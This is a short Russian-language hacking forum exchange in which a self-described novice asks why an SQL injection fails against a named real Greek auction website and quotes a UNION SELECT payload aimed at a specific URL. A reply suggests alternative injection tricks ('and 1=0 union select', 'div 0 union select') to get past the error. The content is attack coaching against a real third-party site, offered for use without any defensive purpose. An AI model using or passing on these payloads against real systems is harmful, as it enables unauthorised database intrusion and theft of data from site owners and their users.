|
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435
Репутация:
1013
|
|
Сообщение от Dondo
↑
На одном сайте не могу внедрить SQL-инъекцию, пишу "-" или "." перед значением id=, не пускает ошибка Error 404 - page not found и все. Посоветуйте чего, а то я новичок в этом деле...
Так не пускет:
Код:
http://www.texnitesonline.gr/controller/auction/preview.php?id=-18961' union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46 -- -
попробуйте любые другие функции, чтобы сделать условие ложным. and 1=0 union select
div 0 union select
|